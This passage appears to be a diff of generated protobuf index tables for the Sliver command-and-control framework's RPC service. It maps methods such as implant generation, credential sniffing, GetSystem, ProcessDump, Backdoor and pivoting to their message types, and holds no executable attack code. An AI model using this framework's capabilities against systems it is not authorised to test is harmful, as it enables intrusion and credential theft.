319: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions - 210, // 320: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension - 211, // 321: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward - 211, // 322: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward - 212, // 323: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks - 212, // 324: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks - 213, // 325: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders - 214, // 326: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers - 215, // 327: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell - 216, // 328: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd - 116, // 329: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks - 0, // 330: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty - 117, // 331: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData - 118, // 332: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel - 0, // 333: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty - 119, // 334: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData - 25, // 335: rpcpb.SliverRPC.Events:output_type -> clientpb.Event - 168, // [168:336] is the sub-list for method output_type - 0, // [0:168] is the sub-list for method input_type + 0, // 1: rpcpb.SliverRPC.GetUsers:input_type -> commonpb.Empty + 1, // 2: rpcpb.SliverRPC.ClientLog:input_type -> clientpb.ClientLogData + 2, // 3: rpcpb.SliverRPC.Kill:input_type -> sliverpb.KillReq + 3, // 4: rpcpb.SliverRPC.Reconfigure:input_type -> sliverpb.ReconfigureReq + 4, // 5: rpcpb.SliverRPC.Rename:input_type -> clientpb.RenameReq + 5, // 6: rpcpb.SliverRPC.ImplantHistory:input_type -> clientpb.ImplantCommand + 6, // 7: rpcpb.SliverRPC.GetImplantHistory:input_type -> clientpb.HistoryRequest + 0, // 8: rpcpb.SliverRPC.GetSessions:input_type -> commonpb.Empty + 0, // 9: rpcpb.SliverRPC.GetBeacons:input_type -> commonpb.Empty + 7, // 10: rpcpb.SliverRPC.GetBeacon:input_type -> clientpb.Beacon + 7, // 11: rpcpb.SliverRPC.RmBeacon:input_type -> clientpb.Beacon + 7, // 12: rpcpb.SliverRPC.GetBeaconTasks:input_type -> clientpb.Beacon + 8, // 13: rpcpb.SliverRPC.GetBeaconTaskContent:input_type -> clientpb.BeaconTask + 8, // 14: rpcpb.SliverRPC.CancelBeaconTask:input_type -> clientpb.BeaconTask + 0, // 15: rpcpb.SliverRPC.MonitorStart:input_type -> commonpb.Empty + 0, // 16: rpcpb.SliverRPC.MonitorStop:input_type -> commonpb.Empty + 0, // 17: rpcpb.SliverRPC.GetJobs:input_type -> commonpb.Empty + 9, // 18: rpcpb.SliverRPC.KillJob:input_type -> clientpb.KillJobReq + 10, // 19: rpcpb.SliverRPC.StartMTLSListener:input_type -> clientpb.MTLSListenerReq + 11, // 20: rpcpb.SliverRPC.StartWGListener:input_type -> clientpb.WGListenerReq + 12, // 21: rpcpb.SliverRPC.StartDNSListener:input_type -> clientpb.DNSListenerReq + 13, // 22: rpcpb.SliverRPC.StartHTTPSListener:input_type -> clientpb.HTTPListenerReq + 13, // 23: rpcpb.SliverRPC.StartHTTPListener:input_type -> clientpb.HTTPListenerReq + 14, // 24: rpcpb.SliverRPC.StartTCPStagerListener:input_type -> clientpb.StagerListenerReq + 14, // 25: rpcpb.SliverRPC.StartHTTPStagerListener:input_type -> clientpb.StagerListenerReq + 15, // 26: rpcpb.SliverRPC.LootAdd:input_type -> clientpb.Loot + 15, // 27: rpcpb.SliverRPC.LootRm:input_type -> clientpb.Loot + 15, // 28: rpcpb.SliverRPC.LootUpdate:input_type -> clientpb.Loot + 15, // 29: rpcpb.SliverRPC.LootContent:input_type -> clientpb.Loot + 0, // 30: rpcpb.SliverRPC.LootAll:input_type -> commonpb.Empty + 0, // 31: rpcpb.SliverRPC.Creds:input_type -> commonpb.Empty + 16, // 32: rpcpb.SliverRPC.CredsAdd:input_type -> clientpb.Credentials + 16, // 33: rpcpb.SliverRPC.CredsRm:input_type -> clientpb.Credentials + 16, // 34: rpcpb.SliverRPC.CredsUpdate:input_type -> clientpb.Credentials + 17, // 35: rpcpb.SliverRPC.GetCredByID:input_type -> clientpb.Credential + 17, // 36: rpcpb.SliverRPC.GetCredsByHashType:input_type -> clientpb.Credential + 17, // 37: rpcpb.SliverRPC.GetPlaintextCredsByHashType:input_type -> clientpb.Credential + 17, // 38: rpcpb.SliverRPC.CredsSniffHashType:input_type -> clientpb.Credential + 0, // 39: rpcpb.SliverRPC.Hosts:input_type -> commonpb.Empty + 18, // 40: rpcpb.SliverRPC.Host:input_type -> clientpb.Host + 18, // 41: rpcpb.SliverRPC.HostRm:input_type -> clientpb.Host + 19, // 42: rpcpb.SliverRPC.HostIOCRm:input_type -> clientpb.IOC + 20, // 43: rpcpb.SliverRPC.Generate:input_type -> clientpb.GenerateReq + 21, // 44: rpcpb.SliverRPC.GenerateExternal:input_type -> clientpb.ExternalGenerateReq + 22, // 45: rpcpb.SliverRPC.GenerateExternalSaveBuild:input_type -> clientpb.ExternalImplantBinary + 23, // 46: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:input_type -> clientpb.ImplantConfig + 24, // 47: rpcpb.SliverRPC.BuilderRegister:input_type -> clientpb.Builder + 25, // 48: rpcpb.SliverRPC.BuilderTrigger:input_type -> clientpb.Event + 0, // 49: rpcpb.SliverRPC.Builders:input_type -> commonpb.Empty + 26, // 50: rpcpb.SliverRPC.CrackstationRegister:input_type -> clientpb.Crackstation + 25, // 51: rpcpb.SliverRPC.CrackstationTrigger:input_type -> clientpb.Event + 27, // 52: rpcpb.SliverRPC.CrackstationBenchmark:input_type -> clientpb.CrackBenchmark + 0, // 53: rpcpb.SliverRPC.Crackstations:input_type -> commonpb.Empty + 28, // 54: rpcpb.SliverRPC.CrackTaskByID:input_type -> clientpb.CrackTask + 28, // 55: rpcpb.SliverRPC.CrackTaskUpdate:input_type -> clientpb.CrackTask + 29, // 56: rpcpb.SliverRPC.CrackFilesList:input_type -> clientpb.CrackFile + 29, // 57: rpcpb.SliverRPC.CrackFileCreate:input_type -> clientpb.CrackFile + 30, // 58: rpcpb.SliverRPC.CrackFileChunkUpload:input_type -> clientpb.CrackFileChunk + 30, // 59: rpcpb.SliverRPC.CrackFileChunkDownload:input_type -> clientpb.CrackFileChunk + 29, // 60: rpcpb.SliverRPC.CrackFileComplete:input_type -> clientpb.CrackFile + 29, // 61: rpcpb.SliverRPC.CrackFileDelete:input_type -> clientpb.CrackFile + 31, // 62: rpcpb.SliverRPC.Regenerate:input_type -> clientpb.RegenerateReq + 0, // 63: rpcpb.SliverRPC.ImplantBuilds:input_type -> commonpb.Empty + 32, // 64: rpcpb.SliverRPC.DeleteImplantBuild:input_type -> clientpb.DeleteReq + 0, // 65: rpcpb.SliverRPC.Canaries:input_type -> commonpb.Empty + 0, // 66: rpcpb.SliverRPC.GenerateWGClientConfig:input_type -> commonpb.Empty + 0, // 67: rpcpb.SliverRPC.GenerateUniqueIP:input_type -> commonpb.Empty + 0, // 68: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty + 32, // 69: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq + 33, // 70: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile + 34, // 71: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq + 35, // 72: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq + 0, // 73: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty + 0, // 74: rpcpb.SliverRPC.GetMetasploitCompiler:input_type -> commonpb.Empty + 36, // 75: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq + 0, // 76: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty + 0, // 77: rpcpb.SliverRPC.TrafficEncoderMap:input_type -> commonpb.Empty + 37, // 78: rpcpb.SliverRPC.TrafficEncoderAdd:input_type -> clientpb.TrafficEncoder + 37, // 79: rpcpb.SliverRPC.TrafficEncoderRm:input_type -> clientpb.TrafficEncoder + 0, // 80: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty + 38, // 81: rpcpb.SliverRPC.Website:input_type -> clientpb.Website + 38, // 82: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website + 39, // 83: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent + 39, // 84: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent + 40, // 85: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent + 41, // 86: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping + 42, // 87: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq + 43, // 88: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq + 44, // 89: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq + 45, // 90: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq + 46, // 91: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq + 47, // 92: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq + 48, // 93: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq + 49, // 94: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq + 50, // 95: rpcpb.SliverRPC.Cp:input_type -> sliverpb.CpReq + 51, // 96: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq + 52, // 97: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq + 53, // 98: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq + 54, // 99: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq + 55, // 100: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq + 56, // 101: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq + 57, // 102: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq + 58, // 103: rpcpb.SliverRPC.MemfilesList:input_type -> sliverpb.MemfilesListReq + 59, // 104: rpcpb.SliverRPC.MemfilesAdd:input_type -> sliverpb.MemfilesAddReq + 60, // 105: rpcpb.SliverRPC.MemfilesRm:input_type -> sliverpb.MemfilesRmReq + 61, // 106: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq + 62, // 107: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq + 63, // 108: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq + 64, // 109: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq + 65, // 110: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq + 66, // 111: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq + 67, // 112: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq + 68, // 113: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq + 69, // 114: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq + 70, // 115: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq + 71, // 116: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq + 72, // 117: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq + 73, // 118: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq + 74, // 119: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq + 75, // 120: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq + 76, // 121: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq + 77, // 122: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq + 78, // 123: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq + 79, // 124: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq + 0, // 125: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty + 80, // 126: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq + 81, // 127: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq + 82, // 128: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq + 83, // 129: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq + 84, // 130: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq + 85, // 131: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq + 86, // 132: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq + 87, // 133: rpcpb.SliverRPC.Backdoor:input_type -> clientpb.BackdoorReq + 88, // 134: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq + 89, // 135: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq + 90, // 136: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq + 91, // 137: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq + 92, // 138: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq + 93, // 139: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq + 94, // 140: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq + 95, // 141: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq + 96, // 142: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq + 97, // 143: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq + 98, // 144: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq + 99, // 145: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq + 100, // 146: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession + 101, // 147: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession + 102, // 148: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq + 103, // 149: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq + 104, // 150: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq + 105, // 151: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq + 106, // 152: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq + 107, // 153: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq + 108, // 154: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq + 109, // 155: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq + 110, // 156: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq + 111, // 157: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq + 112, // 158: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq + 113, // 159: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq + 114, // 160: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq + 115, // 161: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq + 116, // 162: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks + 116, // 163: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks + 117, // 164: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData + 118, // 165: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel + 118, // 166: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel + 119, // 167: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData + 0, // 168: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty + 120, // 169: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version + 121, // 170: rpcpb.SliverRPC.GetUsers:output_type -> clientpb.Users + 0, // 171: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty + 0, // 172: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty + 122, // 173: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure + 0, // 174: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty + 0, // 175: rpcpb.SliverRPC.ImplantHistory:output_type -> commonpb.Empty + 123, // 176: rpcpb.SliverRPC.GetImplantHistory:output_type -> clientpb.History + 124, // 177: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions + 125, // 178: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons + 7, // 179: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon + 0, // 180: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty + 126, // 181: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks + 8, // 182: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask + 8, // 183: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask + 127, // 184: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response + 0, // 185: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty + 128, // 186: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs + 129, // 187: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob + 130, // 188: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener + 131, // 189: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener + 132, // 190: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener + 133, // 191: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener + 133, // 192: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener + 134, // 193: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener + 134, // 194: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener + 15, // 195: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot + 0, // 196: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty + 15, // 197: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot + 15, // 198: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot + 135, // 199: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot + 16, // 200: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials + 0, // 201: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty + 0, // 202: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty + 0, // 203: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty + 17, // 204: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential + 16, // 205: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials + 16, // 206: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials + 17, // 207: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential + 136, // 208: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts + 18, // 209: rpcpb.SliverRPC.Host:output_type -> clientpb.Host + 0, // 210: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty + 0, // 211: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty + 137, // 212: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate + 138, // 213: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig + 0, // 214: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty + 138, // 215: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig + 25, // 216: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event + 0, // 217: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty + 139, // 218: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders + 25, // 219: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event + 0, // 220: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty + 0, // 221: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty + 140, // 222: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations + 28, // 223: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask + 0, // 224: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty + 141, // 225: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles + 29, // 226: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile + 0, // 227: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty + 30, // 228: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk + 0, // 229: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty + 0, // 230: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty + 137, // 231: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate + 142, // 232: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds + 0, // 233: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty + 143, // 234: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries + 144, // 235: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig + 145, // 236: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP + 146, // 237: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles + 0, // 238: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty + 33, // 239: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile + 147, // 240: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager + 148, // 241: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI + 149, // 242: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler + 150, // 243: rpcpb.SliverRPC.GetMetasploitCompiler:output_type -> clientpb.MetasploitCompiler + 151, // 244: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode + 152, // 245: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap + 153, // 246: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap + 154, // 247: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests + 0, // 248: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty + 155, // 249: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites + 38, // 250: rpcpb.SliverRPC.Website:output_type -> clientpb.Website + 0, // 251: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty + 38, // 252: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website + 38, // 253: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website + 38, // 254: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website + 41, // 255: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping + 156, // 256: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps + 157, // 257: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate + 158, // 258: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig + 159, // 259: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat + 160, // 260: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls + 161, // 261: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd + 161, // 262: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd + 162, // 263: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv + 163, // 264: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp + 164, // 265: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm + 165, // 266: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir + 166, // 267: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download + 167, // 268: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload + 168, // 269: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod + 169, // 270: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown + 170, // 271: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes + 160, // 272: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls + 171, // 273: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd + 172, // 274: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm + 173, // 275: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump + 174, // 276: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs + 175, // 277: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate + 176, // 278: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf + 177, // 279: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem + 178, // 280: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task + 178, // 281: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task + 178, // 282: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task + 179, // 283: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly + 180, // 284: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate + 181, // 285: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute + 181, // 286: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute + 182, // 287: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload + 183, // 288: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll + 184, // 289: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot + 185, // 290: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner + 186, // 291: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener + 0, // 292: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty + 187, // 293: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners + 188, // 294: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph + 189, // 295: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo + 189, // 296: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo + 189, // 297: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo + 190, // 298: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken + 191, // 299: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo + 192, // 300: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv + 193, // 301: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv + 194, // 302: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor + 195, // 303: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead + 196, // 304: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite + 197, // 305: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey + 198, // 306: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey + 199, // 307: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList + 200, // 308: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList + 201, // 309: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand + 202, // 310: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack + 203, // 311: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs + 204, // 312: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener + 205, // 313: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners + 204, // 314: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener + 100, // 315: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession + 0, // 316: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty + 206, // 317: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension + 207, // 318: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension + 208, // 319: 